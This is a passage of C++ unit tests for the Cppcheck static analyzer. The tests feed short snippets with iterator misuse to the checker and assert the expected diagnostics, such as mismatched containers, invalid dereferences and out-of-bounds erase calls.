\" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n 